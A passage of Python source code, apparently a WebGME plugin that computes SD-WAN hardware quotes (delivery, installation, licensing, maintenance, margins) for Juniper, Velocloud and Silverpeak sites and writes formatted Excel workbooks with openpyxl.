delivery, installation and 20% of the hardware cost component and the project management amount for each site. Can be the value on an eventual PO representing the amount payable after the successful installation of the devices \",'Malwin')\n sheet[\"AM3\"].comment = openpyxl.comments.Comment('Monthly recurring cost components summed up, includes 80% of the hardware value split over the contract term with the yearly financial up-lift, TC license additional fees, field support, vendor support eventual software cost components ','Malwin')\n sheet[\"AN3\"].comment = openpyxl.comments.Comment('Total costs summed up over the contract term, the values should reflect the total amount on a PO in case of an eventual order ','Malwin')\n sheet.insert_cols(idx=openpyxl.utils.cell.column_index_from_string(\"AO\"), amount=1)\n max_col += 1\n \n elif vendor == \"Velocloud\":\n sheet[\"AI\" + str(max_row)] = \"=SUM(AI4:AI\" + str(max_row - 1) + \")\"\n sheet[\"AJ\" + str(max_row)] = \"=SUM(AJ4:AJ\" + str(max_row - 1) + \")\"\n sheet[\"AL\" + str(max_row)] = \"=SUM(AL4:AL\" + str(max_row - 1) + \")\"\n sheet[\"AM\" + str(max_row)] = \"=SUM(AM4:AM\" + str(max_row - 1) + \")\"\n sheet[\"AN\" + str(max_row)] = \"=SUM(AN4:AN\" + str(max_row - 1) + \")\"\n sheet[\"AO\" + str(max_row)] = \"=SUM(AO4:AO\" + str(max_row - 1) + \")\"\n\n sheet[\"AI3\"].comment = openpyxl.comments.Comment('Software ( bandwidth licenses etc ) related cost elements lifted up with Combridge Margin','Malwin')\n sheet[\"AJ3\"].comment = openpyxl.comments.Comment('Software related additional cost element for specific regions around the world for gateway addon, LATAM/Asia lifted up with Combridge Margin','Malwin')\n sheet[\"AK3\"].comment = openpyxl.comments.Comment('Includes coordination and synchronisation of the rollout from the procurement phase until the start of service on customer location, staging/pre-configuration activities if required','Malwin')\n sheet[\"AL3\"].comment = openpyxl.comments.Comment('Value of the project management fee, calculated from the total value of costs over the contract term for each site separately','Malwin')\n sheet[\"AM3\"].comment = openpyxl.comments.Comment(\"One time cost components summed up, includes delivery, installation and 20% of the hardware cost component and the project management amount for each site. Can be the value on an eventual PO representing the amount payable after the successful installation of the devices \",'Malwin')\n sheet[\"AN3\"].comment = openpyxl.comments.Comment('Monthly recurring cost components summed up, includes 80% of the hardware value split over the contract term with the yearly financial up-lift, TC license additional fees, field support, vendor support eventual software cost components ','Malwin')\n sheet[\"AO3\"].comment = openpyxl.comments.Comment('Total costs summed up over the contract term, the values should reflect the total amount on a PO in case of an eventual order ','Malwin')\n sheet.insert_cols(idx=openpyxl.utils.cell.column_index_from_string(\"AP\"), amount=1)\n max_col += 1\n\n elif vendor == \"Silverpeak\":\n sheet[\"AJ\" + str(max_row)] = \"=SUM(AJ4:AJ\" + str(max_row - 1) + \")\"\n sheet[\"AK\" + str(max_row)] = \"=SUM(AK4:AK\" + str(max_row - 1) + \")\"\n sheet[\"AL\" + str(max_row)] = \"=SUM(AL4:AL\" + str(max_row - 1) + \")\"\n sheet[\"AM\" + str(max_row)] = \"=SUM(AM4:AM\" + str(max_row - 1) + \")\"\n\n sheet[\"AI3\"].comment = openpyxl.comments.Comment('Includes coordination and synchronisation of the rollout from the procurement phase until the start of service on customer location, staging/pre-configuration activities if required','Malwin')\n sheet[\"AJ3\"].comment = openpyxl.comments.Comment('Value of the project management fee, calculated from the total value of costs over the contract term for each site separately','Malwin')\n sheet[\"AK3\"].comment = openpyxl.comments.Comment(\"One time cost components summed up, includes delivery, installation and 20% of the hardware cost component and the project management amount for each site. Can be the value on an eventual PO representing the amount payable after the successful installation of the devices \",'Malwin')\n sheet[\"AL3\"].comment = openpyxl.comments.Comment('Monthly recurring cost components summed up, includes 80% of the hardware value split over the contract term with the yearly financial up-lift, TC license additional fees, field support, vendor support eventual software cost components ','Malwin')\n sheet[\"AM3\"].comment = openpyxl.comments.Comment('Total costs summed up over the contract term, the values should reflect the total amount on a PO in case of an eventual order ','Malwin')\n sheet.insert_cols(idx=openpyxl.utils.cell.column_index_from_string(\"AN\"), amount=1)\n max_col += 1\n\n for rows in sheet.iter_rows(min_row=1, max_row=max_row, min_col=1):\n for cell in rows:\n if cell.row <= 2:\n if cell.column == 22 or cell.column == 23 or (cell.column >= 3 or cell.column <= 5) and cell.row == 1:\n cell.font = openpyxl.styles.Font(bold=True)\n else:\n cell.font = openpyxl.styles.Font(size=16, bold=True)\n elif cell.row == 3 and cell.column >= 16 and cell.comment:\n cell.fill = openpyxl.styles.PatternFill(fgColor=\"ffcc99\", fill_type = \"solid\")\n cell.comment.width = 250\n cell.comment.height = 200\n elif cell.column >= 16 and sheet[str(openpyxl.utils.get_column_letter(cell.column)) + \"3\"].value is not None and \"Quantity \" not in sheet[str(openpyxl.utils.get_column_letter(cell.column)) + \"3\"].value:\n cell.number_format = accountant_format\n if cell.row > 3 and cell.row < max_row:\n if cell.column == get_cell(sheet, \"OTC\", 3,max_col).column:\n cell.value = \"=\" + str(get_cell(sheet, \"Uninstallation + Installation + Delivery\", 3,max_col).column_letter) + str(cell.row) + \"+(\" + str(get_cell(sheet, \"Equipment total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet, \"Accessories total price\",3,max_col).column_letter) + str(cell.row) + \")*\" \\\n + str(get_cell(sheet, \"OTC\",3,max_col).column_letter) + str(get_cell(sheet, \"OTC\",3,max_col).row-1) + \"+\" + str(get_cell(sheet,\"Project Management\",3,max_col).column_letter) + str(cell.row)\n elif cell.column == get_cell(sheet, \"MRC\", 3,max_col).column:\n if vendor == \"Velocloud\":\n cell.value = \"=\" + str(get_cell(sheet, \"TC MRC License price\",3,max_col).column_letter) + str(cell.row) + \"+((\" + str(get_cell(sheet, \"Equipment total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Accessories total price\",3,max_col).column_letter) + str(cell.row) + \")*\" \\\n + str(get_cell(sheet,\"MRC\",3,max_col).column_letter) + str(get_cell(sheet,\"MRC\",3,max_col).row-1) + \"*(1+\" + str(openpyxl.utils.cell.get_column_letter(get_cell(sheet,\"Yearly finance margin\",2,max_col).column+1)) + \"2)^(\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) \\\n + str(cell.row) + \"/12)+\" + str(get_cell(sheet,\"HW maintenance total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Total field service price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Software license price\",3,max_col).column_letter) \\\n + str(cell.row) + \"+\" + str(get_cell(sheet,\"Region addon price\",3,max_col).column_letter) + str(cell.row) +\")/\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) + str(cell.row)\n elif vendor == \"Juniper\":\n cell.value = \"=\" + str(get_cell(sheet, \"TC MRC License price\",3,max_col).column_letter) + str(cell.row) + \"+((\" + str(get_cell(sheet, \"Equipment total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Accessories total price\",3,max_col).column_letter) + str(cell.row) + \")*\" \\\n + str(get_cell(sheet,\"MRC\",3,max_col).column_letter) + str(get_cell(sheet,\"MRC\",3,max_col).row-1) + \"*(1+\" + str(openpyxl.utils.cell.get_column_letter(get_cell(sheet,\"Yearly finance margin\",2,max_col).column+1)) + \"2)^(\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) \\\n + str(cell.row) + \"/12)+\" + str(get_cell(sheet,\"HW maintenance total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Total field service price\",3,max_col).column_letter) + str(cell.row)+ \"+\" + str(get_cell(sheet,\"CSO license price\",3,max_col).column_letter) \\\n + str(cell.row) +\")/\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) + str(cell.row)\n elif vendor == \"Silverpeak\":\n cell.value = \"=\" + str(get_cell(sheet, \"TC MRC License price\",3,max_col).column_letter) + str(cell.row) + \"+((\" + str(get_cell(sheet, \"Equipment total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Accessories total price\",3,max_col).column_letter) + str(cell.row) + \")*\" \\\n + str(get_cell(sheet,\"MRC\",3,max_col).column_letter) + str(get_cell(sheet,\"MRC\",3,max_col).row-1) + \"*(1+\" + str(openpyxl.utils.cell.get_column_letter(get_cell(sheet,\"Yearly finance margin\",2,max_col).column+1)) + \"2)^(IF(\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) \\\n + str(cell.row) + \"/12<1,1,ROUND(\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) + str(cell.row) + \"/12,0)))+\" + str(get_cell(sheet,\"HW maintenance total price\",3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"Total field service price\",3,max_col).column_letter) + str(cell.row) + \")/\" + str(get_cell(sheet,\"Contract term\",3,max_col).column_letter) + str(cell.row)\n elif cell.column == get_cell(sheet, \"TCV\", 3,max_col).column:\n cell.value = \"=\" + str(get_cell(sheet, \"OTC\", 3,max_col).column_letter) + str(cell.row) + \"+\" + str(get_cell(sheet,\"MRC\",3,max_col).column_letter) + str(cell.row) + \"*\" + str(get_cell(sheet, \"Contract term\", 3,max_col).column_letter) + str(cell.row)\n cell.alignment = openpyxl.styles.Alignment(wrap_text=True, horizontal=\"center\", vertical=\"center\")\n\n if underlay:\n underlayFirstColumnIndex = 1\n for i in range(len(underlayColumns)):\n cell = get_cell(sheet,underlayColumns[i],3,max_col)\n if cell.value == \"Service type\" and overlay:\n underlayFirstColumnIndex = cell.column\n sheet.insert_cols(idx=underlayFirstColumnIndex, amount=1)\n max_col += 1\n if cell.value == \"Supplier OTC\":\n underlayFirstNumberColumnIndex = cell.column\n break\n\n for rows in sheet.iter_rows(min_row=1,max_row=max_row,min_col=underlayFirstColumnIndex):\n i=0\n for cell in rows:\n if cell.row == 3 and \"Supplier OTC\" == cell.value:\n i+=1\n textcell = sheet[cell.column_letter + str(cell.row-1)]\n sheet.merge_cells(textcell.coordinate + \":\" + openpyxl.utils.get_column_letter(textcell.column + 1) + str(textcell.row))\n textcell.value = \"Supplier\" + str(i)\n textcell.fill = openpyxl.styles.PatternFill(fgColor=\"ffcc99\", fill_type = \"solid\")\n textcell.font = openpyxl.styles.Font(size=16, bold=True)\n if cell.column >= underlayFirstNumberColumnIndex and cell.row > 3:\n cell.number_format = accountant_format\n sheet[cell.column_letter + str(max_row)] = \"=SUM(\" + cell.column_letter + \"4:\" + cell.column_letter + str(max_row - 1) + \")\"\n cell.alignment = openpyxl.styles.Alignment(wrap_text = True, horizontal=\"center\", vertical=\"center\")\n\n for i in range(1, max_col+1):\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].bestFit = True\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].auto_size = True\n\n sheet.column_dimensions[\"G\"].width = 50\n \n if \"Summary\" in workbook.sheetnames:\n #Editing summary sheet\n sheet = workbook[\"Summary\"]\n max_row = sheet.max_row\n max_col = sheet.max_column\n for rows in sheet.iter_rows(min_row=2, max_row=max_row, min_col=1):\n for cell in rows:\n if cell.value <= 1 and cell.value > 0:\n cell.number_format = openpyxl.styles.numbers.FORMAT_PERCENTAGE_00\n else:\n cell.number_format = accountant_format\n\n for i in range(1, max_col+1):\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].bestFit = True\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].auto_size = True\n\n if \"BOM\" in workbook.sheetnames:\n #Editing BOM sheet\n sheet = workbook[\"BOM\"]\n sheet.insert_rows(idx=0, amount=2)\n max_row = sheet.max_row\n max_col = sheet.max_column\n sheet.column_dimensions[\"B\"].width = 30\n sheet.column_dimensions[\"C\"].width = 125\n sheet[\"E1\"] = \"Total\"\n sheet[\"F1\"] = \"=SUM(F4:F\" + str(max_row) + \")\"\n sheet[\"G1\"] = \"=SUM(G4:G\" + str(max_row) + \")\"\n sheet[\"H1\"] = \"=SUM(H4:H\" + str(max_row) + \")\"\n\n for rows in sheet.iter_rows(min_row=1, max_row=max_row):\n for cell in rows:\n if cell.row != 3:\n if cell.column == 5:\n cell.number_format = openpyxl.styles.numbers.FORMAT_PERCENTAGE_00\n elif cell.column > 5:\n cell.number_format = accountant_format\n\n for i in range(6, max_col+1):\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].width = 25\n\n if 'NonEu delivery' in workbook.sheetnames:\n #Editing NonEU delivery sheet\n sheet = workbook[\"NonEu delivery\"]\n max_row = sheet.max_row\n max_col = sheet.max_column\n for rows in sheet.iter_rows(min_row=2, max_row=max_row, min_col=1):\n for cell in rows:\n if cell.column >= 3 and cell.column != 14:\n cell.number_format = accountant_format\n if cell.column >= 4:\n cell.value *= (1 + MarginOnDelivery)\n cell.alignment = openpyxl.styles.Alignment(wrap_text=True, horizontal=\"center\", vertical=\"center\")\n\n for i in range(1, max_col+1):\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].width = 25\n\n workbook.save(filename=\"./outputs/\" + filename + \".xlsx\")\n\nclass CreateProjectv2(PluginBase):\n def main(self):\n global projectName\n core = self.core\n root_node = self.root_node\n active_node = self.active_node\n start_time = time.time()\n MarginOnDelivery =core.get_attribute(self.META[\"CmbVariables\"], \"MarginOnDelivery\")\n ResaleMargin = core.get_attribute(self.META[\"CmbVariables\"], \"ResaleMargin\")\n YearlyFinanceMargin = core.get_attribute(self.META[\"CmbVariables\"], \"YearlyFinanceMargin\")\n TCLicMargin = core.get_attribute(self.META[\"CmbVariables\"], \"TC_LicMargin\")\n project_management = core.get_attribute(self.META[\"CmbVariables\"], \"ProjectManagement\")\n\n #TODO import static file to webgne logic. Task in mentioned in the \"Update countries logic that are not supported by Tecex\".\n excel_df = pandas.read_excel(\"./imports/StaticNonEuDeliveries.xlsx\",engine='openpyxl',dtype=object, na_filter=False)\n result = excel_df.to_json(orient=\"records\")\n static_non_eu_deliveries = json.loads(result)\n\n #Storing country nodes so we do not have to load them all again\n countryNodes = load_all_countries(self)\n\n overlay = False\n underlay = False\n\n files = glob.glob(\"./projects/*.xlsx\")\n for file in files:\n excel_df = pandas.read_excel(file,engine='openpyxl',dtype=object, na_filter=False)\n result = excel_df.to_json(orient=\"records\")\n sites = json.loads(result)\n\n deal_id = glob.glob(\"./dealId/*.txt\")[0].replace(\"./dealId/\",\"\").replace(\".txt\",\"\")\n\n underlaySites = []\n numberOfSitesInCountry = {}\n\n #Stores the shipping device cost and weight so we can gather the prices accordingly\n countryShipments = {}\n\n #TODO judge if this list is needed or not\n nodePairs = []\n NonEu_IOR_delivery_BOM = []\n #TODO judge if this list should be added to the sites dictionary for data comprehension\n device_costs = []\n #This Dataframe stores the BOM sheet of the generated quote\n bundle_BOM_df = pandas.DataFrame({'Site ID':[],'Code':[],'Description':[],'Quantity':[],'Discount':[],'Unit list':[],'Unit net':[],'Total Due':[]})\n\n projectName = file.replace(\"./projects/\",\"\")\n projectName = projectName.replace(\".xlsx\",\"\")\n\n writer = pandas.ExcelWriter(\"./outputs/\" + projectName + \".xlsx\", mode='w')\n\n projectNode = create_project_in_gme(self, active_node, projectName, sites[0][\"Contract term\"], sites[0][\"Series\"])\n\n #TODO add Velocloud SLA prices to the webgme logic\n if sites[0][\"Series\"] == \"Velocloud\":\n excel_df = pandas.read_excel(\"./imports/velocloudSLAprices.xlsx\",engine='openpyxl',dtype=object)\n result = excel_df.to_json(orient=\"records\")\n sla_costs_rows = json.loads(result)\n\n for i in range(len(sites)):\n sites[i][\"Contract term\"] = int(sites[i][\"Contract term\"])\n if sites[i][\"Overlay required?\"] == \"yes\":\n overlay = True\n nodePair = create_site_in_gme(self, projectNode, countryNodes, sites[i], i)\n nodePairs.append(nodePair)\n #stores the number of sites grouped by country code\n if sites[i][\"Country code\"] in numberOfSitesInCountry:\n numberOfSitesInCountry[sites[i][\"Country code\"]] += 1\n else:\n numberOfSitesInCountry[sites[i][\"Country code\"]] = 1\n\n #Gathers the accessories to a list\n accessories = []\n for j in range(1, 6):\n if \"Accessory \" + str(j) in sites[i].keys() and sites[i][\"Accessory \" + str(j)] != \"\":\n accessories.append({'code':sites[i][\"Accessory \" + str(j)], \"quantity\": sites[i][\"Quantity \" + str(j)]})\n\n #gathers data for the bundle costs\n bundle = {}\n if sites[i][\"Series\"] == \"Silverpeak\":\n bundle = get_silverpeak_costs(self,nodePairs[i], sites[i], accessories)\n elif sites[i][\"Series\"] == \"Juniper\":\n bundle = get_juniper_costs(self,nodePairs[i], sites[i], accessories)\n elif sites[i][\"Series\"] == \"Velocloud\":\n bundle = get_velocloud_costs(self, nodePairs[i], sites[i], accessories)\n if sites[i][\"Maintenance required?\"] == \"yes\":\n if sites[i][\"Series\"] == \"Velocloud\":\n sla_category = \"NDD\"\n if sites[i][\"On-site maintenance\"] == \"Silver\":\n sla_category = \"4H5\"\n elif sites[i][\"On-site maintenance\"] == \"Gold\":\n sla_category = \"4H7\"\n additionalDiscount = 0\n if sites[i][\"Contract term\"] >= 36:\n additionalDiscount = 0.03\n for row in sla_costs_rows:\n if sla_category in row[\"code\"] and str(sites[i][\"Contract term\"]) in row[\"code\"]:\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(sites[i][\"Site ID 1\"]) + str(sites[i][\"Site ID 2\"]),code=row[\"code\"], description=row[\"description\"], quantity=sites[i][\"Device quantity\"], discount=core.get_attribute(nodePairs[i].get_bundleNode(), \"discount\") + additionalDiscount, unit_list=row[\"cost\"]))\n \n device_costs.append(bundle)\n bundle_BOM_df = append_to_BOM_df(df=bundle_BOM_df,bom=bundle[\"BOM\"])\n\n sites[i][\"Volumetric weight\"] = (device_costs[i][\"weight\"] * sites[i][\"Device quantity\"])\n if accessories:\n sites[i][\"Volumetric weight\"] += 2\n\n #gathers data for NON EU delivery costs\n if sites[i][\"Country code\"] in countryShipments:\n countryShipments[sites[i][\"Country code\"]][\"shipment value\"] += bundle[\"hardware\"] * sites[i][\"Device quantity\"] + bundle[\"accessories\"]\n countryShipments[sites[i][\"Country code\"]][\"shipment weight\"] += sites[i][\"Volumetric weight\"]\n else:\n shipmentPair = {}\n shipmentPair[\"shipment value\"] = bundle[\"hardware\"] * core.get_attribute(nodePair.get_siteNode(),\"deviceQuantity\") + bundle[\"accessories\"]\n shipmentPair[\"shipment weight\"] = sites[i][\"Volumetric weight\"]\n countryShipments[sites[i][\"Country code\"]] = shipmentPair\n\n for i in range(len(sites)):\n print(json.dumps(sites[i], indent=4))\n sites[i].update({\n \"Quote ID\":deal_id,\n \"countryNode\":nodePairs[i].get_countryNode(),\n \"countryCode3\":core.get_attribute(nodePairs[i].get_countryNode(), \"isoCode3\"),\n \"Country\":\"\",\n \"Currency\":\"USD\",\n \"DHL country code\":\"\",\n \"EU/ Not EU\":\"\",\n \"Licensing category\":\"\",\n \"Number of sites\":0,\n \"Unit hardware value\":0,\n \"Accessories value\":0,\n \"Net hardware value\":0,\n \"Unit Vendor support\":0,\n \"Net Vendor support\":0,\n \"Vendor - RO delivery cost\":0,\n \"RO - DST delivery cost\":0,\n \"Install cost\":0,\n \"Uninstall cost\":0,\n \"On-site maintenance cost\":0,\n \"TC MRC License cost\":0,\n \"Software license cost\":0,\n \"Region addon cost\":0,\n \"CSO license cost\":0,\n \"International freight (incl. import, compliance, taxes)\":0,\n \"Freight\":0,\n \"Uninstallation\":0,\n \"Installation (1 or 2 device)\":0,\n \"SLA category\":\"\",\n \"SLA price / year\":0,\n \"Equipment base cost\":0,\n \"Accessories cost\":0,\n \"HW maintenance monthly base cost\":0,\n \"Equipment unit price\":0,\n \"HW maintenance monthly unit price\":0,\n \"Equipment total price\":0,\n \"Accessories total price\":0,\n \"HW maintenance monthly total price\":0,\n \"Yearly Field service\":0,\n \"Uninstallation + Installation + Delivery\":0,\n \"HW maintenance total price\":0,\n \"Total field service price\":0,\n \"TC MRC License price\":0,\n \"Project Management percentage\":\"\",\n \"Project Management\":0,\n \"OTC\":0,\n \"MRC\":0,\n \"TCV\":0\n })\n if sites[i][\"Overlay required?\"] == \"yes\":\n print(json.dumps(device_costs[i], indent=4))\n countryAttributes = get_attributes_of_node(core,nodePairs[i].get_countryNode())\n get_group_nodes(self, nodePairs[i])\n getPrices(self, nodePairs[i])\n get_Ro_Destination_DeliveryCost(self, nodePairs[i], sites[i][\"Device quantity\"], sites[i][\"Series\"], accessories)\n get_Vendor_Ro_DeliveryCost(self, nodePairs[i], sites[i][\"Device quantity\"], sites[i][\"Series\"], accessories)\n\n if sites[i][\"Installation required?\"] == \"yes\":\n sites[i][\"Install cost\"] = nodePairs[i].get_installCost()\n else:\n sites[i][\"Install cost\"] = 0\n if sites[i][\"Uninstallation required?\"] == \"yes\":\n sites[i][\"Uninstall cost\"] = nodePairs[i].get_installCost()\n else:\n sites[i][\"Uninstall cost\"] = 0\n #TODO additional install and maintenance costs figured out\n sites[i][\"Number of sites\"] = numberOfSitesInCountry[sites[i][\"Country code\"]]\n sites[i][\"EU/ Not EU\"] = countryAttributes[\"EU/Not EU\"]\n sites[i][\"Country\"] = countryAttributes[\"name\"]\n sites[i][\"DHL country code\"] = countryAttributes[\"DHL code\"]\n sites[i][\"Licensing category\"] = countryAttributes[\"deliveryCategory\"]\n\n sites[i][\"Unit hardware value\"] = device_costs[i][\"hardware\"]\n sites[i][\"Net hardware value\"] = sites[i][\"Device quantity\"] * device_costs[i][\"hardware\"]\n sites[i][\"Accessories value\"] = device_costs[i][\"accessories\"]\n \n sites[i][\"Vendor - RO delivery cost\"] = nodePairs[i].get_Us_Ro_deliveryCost()\n if sites[i][\"EU/ Not EU\"] == \"EU\": \n sites[i][\"RO - DST delivery cost\"] = nodePairs[i].get_Ro_Destination_deliveryCost()\n else:\n for row in static_non_eu_deliveries:\n if row[\"isoCode2\"] == sites[i][\"Country code\"]:\n if row[\"Malwin support\"] == \"Supported\":\n if not \"NonEu delivery\" in countryShipments[sites[i][\"Country code\"]].keys():\n IOR_request_row = {\n \"project_name\":projectName,\n \"quoteId\":deal_id,\n \"siteId\":str(sites[i][\"Site ID 1\"]) + \"-\" + (sites[i][\"Site ID 2\"]),\n \"countryNode\":core.get_base(nodePairs[i].get_countryNode()),\n \"countryCode2\":sites[i][\"Country code\"],\n \"countryCode3\":sites[i][\"countryCode3\"],\n\n \"shipment_weight\":countryShipments[sites[i][\"Country code\"]][\"shipment weight\"],\n \"number_of_sites\":sites[i][\"Number of sites\"],\n \"shipment_value\":countryShipments[sites[i][\"Country code\"]][\"shipment value\"],\n\n \"Ship To Country\": sites[i][\"Country\"],\n \"Chargable Weight\" : countryShipments[sites[i][\"Country code\"]][\"shipment weight\"],\n \"Shipment Value (USD)\" : countryShipments[sites[i][\"Country code\"]][\"shipment value\"]\n }\n IOR_request_row = supplierLogic.initiateApiCallForSite(self=self,quotingsite=IOR_request_row,service=\"IOR provider\",syslogger=logger)\n countryShipments[sites[i][\"Country code\"]][\"NonEu delivery\"] = IOR_request_row[\"Total Invoice Amount\"] / sites[i][\"Number of sites\"]\n NonEu_IOR_delivery_BOM.append(IOR_request_row)\n sites[i][\"RO - DST delivery cost\"] = countryShipments[sites[i][\"Country code\"]][\"NonEu delivery\"]\n else:\n IOR_request_row = {\n \"Ship To Country\" : sites[i][\"Country\"],\n \"Chargable Weight\" : countryShipments[sites[i][\"Country code\"]][\"shipment weight\"],\n \"Shipment Value (USD)\" : countryShipments[sites[i][\"Country code\"]][\"shipment value\"],\n \"IOR and Import Compliance Fee\" : 0,\n \"Admin Fee\": 0,\n \"Liability Cover Fee\" : 0,\n \"Tax and Duty\" : 0,\n \"Total - Customs Brokerage Cost\" : 0,\n \"Total - Clearance Costs\" : 0,\n \"Total - Handling Costs\" : 0,\n \"Total - License Cost\" : 0,\n \"Bank Fees\" : 0,\n \"Total Invoice Amount\" : 0,\n \"Notes\" : \"This is only an estimated cost of shipment fee, based on shipment value and weight.\"\n }\n for row in static_non_eu_deliveries:\n if row[\"isoCode2\"] == sites[i][\"Country code\"]:\n IOR_request_row[\"Total Invoice Amount\"] = row[\"Standard Lane Fee\"] + IOR_request_row[\"Shipment Value (USD)\"] * row[\"Taxes and duties percentage\"]\n break\n sites[i][\"RO - DST delivery cost\"] = IOR_request_row[\"Total Invoice Amount\"] / sites[i][\"Number of sites\"]\n NonEu_IOR_delivery_BOM.append(IOR_request_row)\n break\n \n if sites[i][\"Maintenance required?\"] == \"yes\":\n if sites[i][\"Series\"] == \"Velocloud\":\n sla_category = \"NDD\"\n if sites[i][\"On-site maintenance\"] == \"Silver\":\n sla_category = \"4H5\"\n elif sites[i][\"On-site maintenance\"] == \"Gold\":\n sla_category = \"4H7\"\n additionalDiscount = 0\n if sites[i][\"Contract term\"] >= 36:\n additionalDiscount = 0.03\n for row in sla_costs_rows:\n if sla_category in row[\"code\"] and str(sites[i][\"Contract term\"]) in row[\"code\"]:\n sites[i][\"On-site maintenance cost\"] = row[\"cost\"] * (1 - core.get_attribute(nodePairs[i].get_bundleNode(), \"discount\") - additionalDiscount) * sites[i][\"Device quantity\"]\n else:\n if sites[i][\"On-site maintenance\"] == \"Bronze\":\n sites[i][\"On-site maintenance cost\"] = nodePairs[i].get_bronzeCost()\n elif sites[i][\"On-site maintenance\"] == \"Silver\":\n sites[i][\"On-site maintenance cost\"] = nodePairs[i].get_silverCost()\n elif sites[i][\"On-site maintenance\"] == \"Gold\":\n sites[i][\"On-site maintenance cost\"] = nodePairs[i].get_goldCost()\n else:\n sites[i][\"On-site maintenance cost\"] = 0\n\n if sites[i][\"Series\"] == \"Silverpeak\":\n sites[i][\"Unit Vendor support\"] = device_costs[i][\"support\"]\n else:\n sites[i][\"Unit Vendor support\"] = device_costs[i][\"support\"]\n sites[i][\"Net Vendor support\"] = sites[i][\"Device quantity\"] * sites[i][\"Unit Vendor support\"]\n if sites[i][\"Series\"] == \"Juniper\":\n sites[i][\"CSO license cost\"] = device_costs[i][\"license\"] * sites[i][\"Device quantity\"]\n elif sites[i][\"Series\"] == \"Velocloud\":\n if int(sites[i]['Device quantity']) == 1:\n sites[i][\"Software license cost\"] = device_costs[i][\"software\"]\n sites[i][\"Region addon cost\"] = device_costs[i][\"license\"]\n else:\n if sites[i][\"Site setup\"] == \"HA Cluster\":\n sites[i][\"Software license cost\"] = device_costs[i][\"software\"] * (int(sites[i]['Device quantity']))\n sites[i][\"Region addon cost\"] = device_costs[i][\"license\"] * (int(sites[i]['Device quantity']))\n else:\n sites[i][\"Software license cost\"] = device_costs[i][\"software\"] * (int(sites[i]['Device quantity']) // 2)\n sites[i][\"Region addon cost\"] = device_costs[i][\"license\"] * (int(sites[i]['Device quantity']) // 2)\n sites[i][\"TC MRC License cost\"] = countryAttributes[\"MRC_license\"]\n\n #quote generating\n sites[i][\"International freight (incl. import, compliance, taxes)\"] = sites[i][\"RO - DST delivery cost\"] * (1 + MarginOnDelivery)\n sites[i][\"Freight\"] = sites[i][\"Vendor - RO delivery cost\"] * (1 + MarginOnDelivery)\n\n if sites[i][\"Installation required?\"] == \"yes\":\n sites[i][\"Installation (1 or 2 device)\"] = get_install_uninstall_price(sites,i) \n else:\n sites[i][\"Installation (1 or 2 device)\"] = 0\n\n if sites[i][\"Uninstallation required?\"] ==\"yes\":\n sites[i][\"Uninstallation\"] = get_install_uninstall_price(sites,i)\n else:\n sites[i][\"Uninstallation\"] = 0\n\n\n sites[i][\"SLA category\"] = sites[i][\"On-site maintenance\"]\n\n if sites[i][\"Maintenance required?\"] == \"yes\":\n if sites[i][\"Series\"] == \"Velocloud\":\n sites[i][\"SLA price / year\"] = sites[i][\"On-site maintenance cost\"] / (sites[i][\"Contract term\"] / 12)\n else:\n if sites[i][\"SLA category\"] == \"Bronze\":\n sites[i][\"SLA price / year\"] = 100 + 25 * (sites[i][\"Device quantity\"] - 1)\n elif sites[i][\"SLA category\"] == \"Silver\":\n sites[i][\"SLA price / year\"] = 250 + 75 * (sites[i][\"Device quantity\"] - 1)\n elif sites[i][\"SLA category\"] == \"Gold\":\n sites[i][\"SLA price / year\"] = 350 + 100 * (sites[i][\"Device quantity\"] - 1)\n else:\n sites[i][\"SLA price / year\"] = 0\n sites[i][\"SLA category\"] = \"\"\n \n sites[i][\"Equipment base cost\"] = sites[i][\"Unit hardware value\"]\n sites[i][\"Accessories cost\"] = sites[i][\"Accessories value\"]\n sites[i][\"Equipment unit price\"] = sites[i][\"Equipment base cost\"] * (1 + ResaleMargin)\n sites[i][\"Equipment total price\"] = sites[i][\"Equipment unit price\"] * sites[i][\"Device quantity\"]\n sites[i][\"Accessories total price\"] = sites[i][\"Accessories cost\"] * (1 + ResaleMargin)\n\n if sites[i][\"Series\"] == \"Silverpeak\":\n sites[i][\"HW maintenance monthly base cost\"] = sites[i][\"Unit Vendor support\"] / sites[i][\"Contract term\"]\n sites[i][\"HW maintenance monthly unit price\"] = sites[i][\"HW maintenance monthly base cost\"] + sites[i][\"HW maintenance monthly base cost\"] * ResaleMargin\n sites[i][\"HW maintenance monthly total price\"] = sites[i][\"HW maintenance monthly unit price\"] * sites[i][\"Device quantity\"]\n sites[i][\"HW maintenance total price\"] = sites[i][\"HW maintenance monthly total price\"] * sites[i][\"Contract term\"]\n else:\n sites[i][\"HW maintenance yearly base cost\"] = sites[i][\"Unit Vendor support\"] / (sites[i][\"Contract term\"] / 12)\n sites[i][\"HW maintenance yearly unit price\"] = sites[i][\"HW maintenance yearly base cost\"] + sites[i][\"HW maintenance yearly base cost\"] * ResaleMargin\n sites[i][\"HW maintenance yearly total price\"] = sites[i][\"HW maintenance yearly unit price\"] * sites[i][\"Device quantity\"]\n sites[i][\"HW maintenance total price\"] = sites[i][\"HW maintenance yearly total price\"] * (sites[i][\"Contract term\"] / 12)\n\n if sites[i][\"Series\"] == \"Velocloud\":\n sites[i][\"Yearly Field service\"] = sites[i][\"SLA price / year\"] * (1 + ResaleMargin)\n else:\n sites[i][\"Yearly Field service\"] = 